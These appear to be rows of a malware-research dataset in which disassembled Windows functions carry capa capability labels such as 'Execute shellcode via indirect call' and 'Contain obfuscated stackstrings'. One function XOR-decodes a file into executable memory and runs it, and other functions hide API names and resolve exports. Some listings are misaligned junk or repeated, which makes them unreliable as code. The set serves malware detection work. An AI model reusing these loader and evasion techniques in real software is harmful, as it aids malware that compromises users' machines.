joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408ff6
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push es
or al, byte [eax]
add byte [ecx + 0x1323fe2], al
add byte [ecx + 0x1274cf2], al
add bl, ch
push es
inc edi
cmp eax, dword [esi + edi + 0x4e]
pop edx
push ecx
or ecx, 0x15c5c
pop ecx
push ecx
and ecx, 0x17a58
add ecx, 0xc49
pop ecx
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp - 0x1d24], ecx
push esi
push edx
add esp, 4
and esi, 0x14bc5
call 0x408fae
add byte [ebx + eax*2], dh
xor eax, 0x8350364b
les eax, [ecx + eax*4]
test byte [0x5e0000c2], 0x50
call 0x408fc5
add byte [edi], dh
inc esi
cmp ecx, dword [ebx + 0x40]
add esp, 4
pop eax
mov edx, dword [ebp - 0x1d24]
mov dword [ebp - 0x199c], edx
lea eax, [ebp - 0x1754]
push eax
call dword [ebp - 0x199c]
test eax, eax
jne 0x409027
push ebx
call 0x408ff6
add byte [eax + 0x46], dl
cmp edi, dword [edi]
dec esp
xor edi, dword [edi]
cmp cl, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
je 0x409011
add byte [eax], al
pop ebx
push ecx
push eax
add esp, 4
and ecx, 0xea49
sub ecx, 0x7c6c
sub ecx, 0x8186
pop ecx
mov dword [ebp - 0x7a0], 0
jmp 0x409712
push eax
xor eax, 0xc90c
pop eax
push esi
push edi
add esp, 4
or esi, 0xce29
jmp 0x409041
and esi, 0x12f9c
pop esi
push ebx
push edx
add esp, 4
and ebx, 0x6910
jmp 0x409058
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19a0], ecx
mov edx, dword [ebp - 0x19a0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a4], eax
mov ecx, dword [ebp - 0x19a4]
mov dword [ebp - 0x160c], ecx
push edx
and edx, 0x16c8a
pop edx
push edi
call 0x409096
add byte [edx], bh
inc esp
xor eax, 0x83433b48
les eax, [ecx + eax*4]
iretd
Function at 0x409096
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push es
or al, byte [eax]
add byte [ecx + 0x1323fe2], al
add byte [ecx + 0x1274cf2], al
add bl, ch
push es
inc edi
cmp eax, dword [esi + edi + 0x4e]
pop edx
push ecx
or ecx, 0x15c5c
pop ecx
push ecx
and ecx, 0x17a58
add ecx, 0xc49
pop ecx
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp - 0x1d24], ecx
push esi
push edx
add esp, 4
and esi, 0x14bc5
call 0x408fae
add byte [ebx + eax*2], dh
xor eax, 0x8350364b
les eax, [ecx + eax*4]
test byte [0x5e0000c2], 0x50
call 0x408fc5
add byte [edi], dh
inc esi
cmp ecx, dword [ebx + 0x40]
add esp, 4
pop eax
mov edx, dword [ebp - 0x1d24]
mov dword [ebp - 0x199c], edx
lea eax, [ebp - 0x1754]
push eax
call dword [ebp - 0x199c]
test eax, eax
jne 0x409027
push ebx
call 0x408ff6
add byte [eax + 0x46], dl
cmp edi, dword [edi]
dec esp
xor edi, dword [edi]
cmp cl, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
je 0x409011
add byte [eax], al
pop ebx
push ecx
push eax
add esp, 4
and ecx, 0xea49
sub ecx, 0x7c6c
sub ecx, 0x8186
pop ecx
mov dword [ebp - 0x7a0], 0
jmp 0x409712
push eax
xor eax, 0xc90c
pop eax
push esi
push edi
add esp, 4
or esi, 0xce29
jmp 0x409041
and esi, 0x12f9c
pop esi
push ebx
push edx
add esp, 4
and ebx, 0x6910
jmp 0x409058
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19a0], ecx
mov edx, dword [ebp - 0x19a0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a4], eax
mov ecx, dword [ebp - 0x19a4]
mov dword [ebp - 0x160c], ecx
push edx
and edx, 0x16c8a
pop edx
push edi
call 0x409096
add byte [edx], bh
inc esp
xor eax, 0x83433b48
les eax, [ecx + eax*4]
iretd
Function at 0x409d30
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
popfd
movsb byte es:[edi], byte [esi]
add byte [eax], al
add ebx, 0x12c9e
sub ebx, 0x1ebb
pop ebx
push edx
push edx
add esp, 4
jmp 0x409c4f
xor edx, 0x16a00
sub edx, 0xd197
pop edx
cmp dword [ebp - 0x300], 0
jne 0x40a561
mov ecx, 0x6b
mov word [ebp - 0x17ac], cx
mov edx, 0x65
mov word [ebp - 0x17aa], dx
mov eax, 0x72
mov word [ebp - 0x17a8], ax
mov ecx, 0x6e
mov word [ebp - 0x17a6], cx
mov edx, 0x65
mov word [ebp - 0x17a4], dx
mov eax, 0x6c
mov word [ebp - 0x17a2], ax
mov ecx, 0x33
mov word [ebp - 0x17a0], cx
mov edx, 0x32
mov word [ebp - 0x179e], dx
mov eax, 0x2e
mov word [ebp - 0x179c], ax
mov ecx, 0x64
mov word [ebp - 0x179a], cx
mov edx, 0x6c
mov word [ebp - 0x1798], dx
mov eax, 0x6c
mov word [ebp - 0x1796], ax
xor ecx, ecx
mov word [ebp - 0x1794], cx
push ebx
add ebx, 0x6f0f
sub ebx, 0xd93e
sub ebx, 0x10365
or ebx, 0x18110
pop ebx
push eax
push esi
add esp, 4
call 0x409d30
add byte [eax], al
add byte [ebx], bh
cmp edi, dword [eax]
dec ebx
push eax
cmp dword ds:[ecx + 0x34], ecx
add esp, 4
pop eax
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
idiv edi
push dword [edx - 0x3a]
test dword [eax - 9], esp
invalid
jmp dword [ecx - 0x3a]
test dword [ecx - 9], esp
invalid
push dword [edx - 0x3a]
test dword [edx - 9], esp
invalid
invalid
jns 0x409d48
test dword [ebx - 9], esp
invalid
call dword [edi - 0x3a]
test dword [edi + esi*8 - 1], esp
inc dword [eax]
mov edx, dword fs:[0x18]
mov dword [ebp - 0x19c4], edx
mov eax, dword [ebp - 0x19c4]
mov ecx, dword [eax + 0x30]
xor byte [ecx - 0x19c773], cl
dec dword [ebx - 0x19c76b]
invalid
invalid
xchg ebp, eax
invalid

Function at 0x409d68
Capabilities:
Resolve function by parsing pe exports

Disassembly:
idiv edi
push dword [edx - 0x3a]
test dword [eax - 9], esp
invalid
Function at 0x409da4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
popfd
movsb byte es:[edi], byte [esi]
add byte [eax], al
add ebx, 0x12c9e
sub ebx, 0x1ebb
pop ebx
push edx
push edx
add esp, 4
jmp 0x409c4f
xor edx, 0x16a00
sub edx, 0xd197
pop edx
cmp dword [ebp - 0x300], 0
jne 0x40a561
mov ecx, 0x6b
mov word [ebp - 0x17ac], cx
mov edx, 0x65
mov word [ebp - 0x17aa], dx
mov eax, 0x72
mov word [ebp - 0x17a8], ax
mov ecx, 0x6e
mov word [ebp - 0x17a6], cx
mov edx, 0x65
mov word [ebp - 0x17a4], dx
mov eax, 0x6c
mov word [ebp - 0x17a2], ax
mov ecx, 0x33
mov word [ebp - 0x17a0], cx
mov edx, 0x32
mov word [ebp - 0x179e], dx
mov eax, 0x2e
mov word [ebp - 0x179c], ax
mov ecx, 0x64
mov word [ebp - 0x179a], cx
mov edx, 0x6c
mov word [ebp - 0x1798], dx
mov eax, 0x6c
mov word [ebp - 0x1796], ax
xor ecx, ecx
mov word [ebp - 0x1794], cx
push ebx
add ebx, 0x6f0f
sub ebx, 0xd93e
sub ebx, 0x10365
or ebx, 0x18110
pop ebx
push eax
push esi
add esp, 4
call 0x409d30
add byte [eax], al
add byte [ebx], bh
cmp edi, dword [eax]
dec ebx
push eax
cmp dword ds:[ecx + 0x34], ecx
add esp, 4
pop eax
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
idiv edi
push dword [edx - 0x3a]
test dword [eax - 9], esp
invalid
jmp dword [ecx - 0x3a]
test dword [ecx - 9], esp
invalid
push dword [edx - 0x3a]
test dword [edx - 9], esp
invalid
invalid
jns 0x409d48
test dword [ebx - 9], esp
invalid
call dword [edi - 0x3a]
test dword [edi + esi*8 - 1], esp
inc dword [eax]
mov edx, dword fs:[0x18]
mov dword [ebp - 0x19c4], edx
mov eax, dword [ebp - 0x19c4]
mov ecx, dword [eax + 0x30]
xor byte [ecx - 0x19c773], cl
dec dword [ebx - 0x19c76b]
invalid
invalid
xchg ebp, eax
invalid

Function at 0x409db4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor byte [ecx - 0x19c773], cl
dec dword [ebx - 0x19c76b]
dec dword [ecx - 0x162f6b]
jmp 0x56939db8
Function at 0x40a818
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x40a821
pop ebx
push edi
push edi
add esp, 4
add edi, 0x627c
pop edi
push ebx
sub ebx, 0x7032
pop ebx
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x300], eax
jmp 0x40a8ac

Function at 0x40a85d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub edx, 0x6b1b
pop edx
push ecx
jmp 0x40a86f
or ecx, 0x7a7d
pop ecx
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx]
mov dword [ebp - 0x518], edx
mov eax, dword [ebp - 0x518]
cmp eax, dword [ebp - 0xcf4]
je 0x40a8a2
mov ecx, dword [ebp - 0x518]
cmp dword [ecx + 0x30], 0
jne 0x40a66d
mov dword [ebp - 0x300], 0

Function at 0x4246e4
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4c090c
mov eax, esi
mov edx, 8
test al, 1
je 0x424700
shr eax, 1
xor eax, 0xedb88320
jmp 0x424702
shr eax, 1
dec edx
jne 0x4246f3
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4246ec
pop esi
ret

Function at 0x424718
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x4c0908], 0
jne 0x424742
call fcn.004246e4
mov dword [esp], 0x4c0908
mov edx, dword [esp]
mov eax, 1
lock xchg dword [edx], eax
mov eax, edi
test esi, esi
je 0x42476c
mov edx, 0xff
and edx, ebx
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x4c090c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x424748
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x401d4b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
and eax, 0xffff
push eax
mov ecx, dword [ebp + 0xc]
and ecx, 0xffff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401d79
xor eax, eax
jmp 0x401de3
mov edx, dword [ebp - 0xc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
sub eax, 1
mov dword [ebp + 0x14], eax
test edx, edx
je 0x401dde
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ecx], al
mov ecx, dword [ebp + 0x10]
add ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 0x10]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
test eax, eax
jne 0x401ddc
jmp 0x401dde
jmp 0x401da4
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x401e20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
and eax, 0xffff
push eax
mov ecx, dword [ebp + 0xc]
and ecx, 0xffff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401e4e
xor eax, eax
jmp 0x401e78
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esp, ebp
pop ebp
ret
Function at 0x401fc5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [ebp + 0x18]
mov dword [eax], 0
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401e20
add esp, 0xc
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x402004
xor eax, eax
jmp 0x402105
push 0x104
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.00401d4b
add esp, 0x10
test eax, eax
jne 0x402034
mov ecx, dword [ebp + 0x18]
mov dword [ecx], 1
xor eax, eax
jmp 0x402105
mov edx, dword [ebp + 0x14]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4091a8
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
jne 0x4020a6
mov edx, dword [ebp + 0x18]
mov dword [edx], 1
xor eax, eax
jmp 0x402105
mov dword [ebp - 0x114], 0
push 0
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4020e6
mov ecx, dword [ebp - 0x108]
cmp ecx, dword [ebp - 0x114]
je 0x4020f3
mov edx, dword [ebp + 0x18]
mov dword [edx], 1
xor eax, eax
jmp 0x402105
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40218e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x64
call fcn.00401e20
add esp, 0xc
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x4021cb
xor eax, eax
jmp 0x4022cd
push 0x104
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0xc8
call fcn.00401d4b
add esp, 0x10
test eax, eax
jne 0x4021fc
mov edx, dword [ebp + 0x10]
mov dword [edx], 1
xor eax, eax
jmp 0x4022cd
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4091bc
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
jne 0x40226e
mov eax, dword [ebp + 0x10]
mov dword [eax], 1
xor eax, eax
jmp 0x4022cd
mov dword [ebp - 0x114], 0
push 0
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x110]
push eax
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4022ae
mov edx, dword [ebp - 0x108]
cmp edx, dword [ebp - 0x114]
je 0x4022bb
mov eax, dword [ebp + 0x10]
mov dword [eax], 1
xor eax, eax
jmp 0x4022cd
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4022d1
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
mov dword [0x409c40], 1
push 0
push 0x10
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x402319
push 0x4091c0
lea ecx, [ebp - 0x104]
push ecx
call fcn.00402b8c
add esp, 8
mov dword [0x409c40], 0
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x64
call fcn.00401e20
add esp, 0xc
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x40234d
xor eax, eax
jmp 0x402469
push 0x104
lea edx, [ebp - 0x31c]
push edx
mov eax, dword [ebp + 8]
push eax
push 0xc8
call fcn.00401d4b
add esp, 0x10
test eax, eax
jne 0x40237e
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 1
xor eax, eax
jmp 0x402469
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4091c4
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x31c]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xffffffff
jne 0x4023f3
mov edx, dword [ebp + 0xc]
mov dword [edx], 1
xor eax, eax
jmp 0x402469
mov dword [ebp - 0x218], 0
push 0
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x20c]
push ecx
mov edx, dword [ebp - 0x214]
push edx
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402433
mov ecx, dword [ebp - 0x20c]
cmp ecx, dword [ebp - 0x218]
je 0x40244d
mov edx, dword [ebp + 0xc]
mov dword [edx], 1
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402469
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40a06c], 1
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4047e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x409488
cmp edx, dword [eax]
je 0x40480b
add eax, 8
inc ecx
cmp eax, 0x409518
jl 0x4047fc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x409488]
jne 0x404939
mov eax, dword [0x40a0b0]
cmp eax, 1
je 0x404913
test eax, eax
jne 0x40483c
cmp dword [0x4093d4], 1
je 0x404913
cmp edx, 0xfc
je 0x404939
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404873
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00406010
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402ce0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4048b6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402ce0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4084ac
push edi
call fcn.00402be0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00406010
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00406020
lea eax, [ebp - 0xa0]
push 0x40848c
push eax
call fcn.00406020
push dword [esi + 0x40948c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00406020
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00406435
add esp, 0x2c
pop edi
jmp 0x404939
lea eax, [ebp + 8]
lea esi, [esi + 0x40948c]
push 0
push eax
push dword [esi]
call fcn.00402ce0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40360c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4036a4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403684
xor eax, eax
push ebp
push 0x40367d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4036c0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403684
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403f70
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a044], 0
je 0x403fd1
cmp word [0x40a218], 0xd7b2
jne 0x403f99
cmp dword [0x40a220], 0
jbe 0x403f99
mov eax, 0x40a214
call dword [0x40a230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403ff8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409020], 0
jne 0x403fed
push 0
push 0x409058
push 0x409060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x404d8c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404df2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404348
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403004
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404ddc
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404df9
lea eax, [ebp - 0x10]
call fcn.004040f4
ret

Function at 0x406bd4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406c0d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004041e4
jmp 0x406c16
mov eax, ebx
mov edx, esi
call fcn.00404148
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x406c20
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406c41
mov al, byte [esp]
jmp 0x406c43
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4072d8
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x407140
mov eax, dword [0x4093b0]
cmp byte [eax], 0
je 0x407354
mov eax, dword [0x409304]
call fcn.00402d48
call fcn.004029a8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004060a8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40739c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40738a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4092e4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x40a660]
call fcn.0040475c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x407d78
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x407ddc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404348
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00405f70
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407de3
lea eax, [ebp - 0xc]
call fcn.004040f4
ret

Function at 0x408942
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
mov ebx, edi
call fcn.00408971
sub esp, 4
mov dword [esp], 0xb6d3fdcc
pop edi
xor dword [eax], esi
inc eax
mov edi, edi
mov edi, edi
cmp eax, edx
jne fcn.00408942
sub edi, 0x2a790551
ret

Function at 0x414df0
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], ebx
add edi, 4
cmp edi, edx
jne fcn.00414df0
dec ecx
ret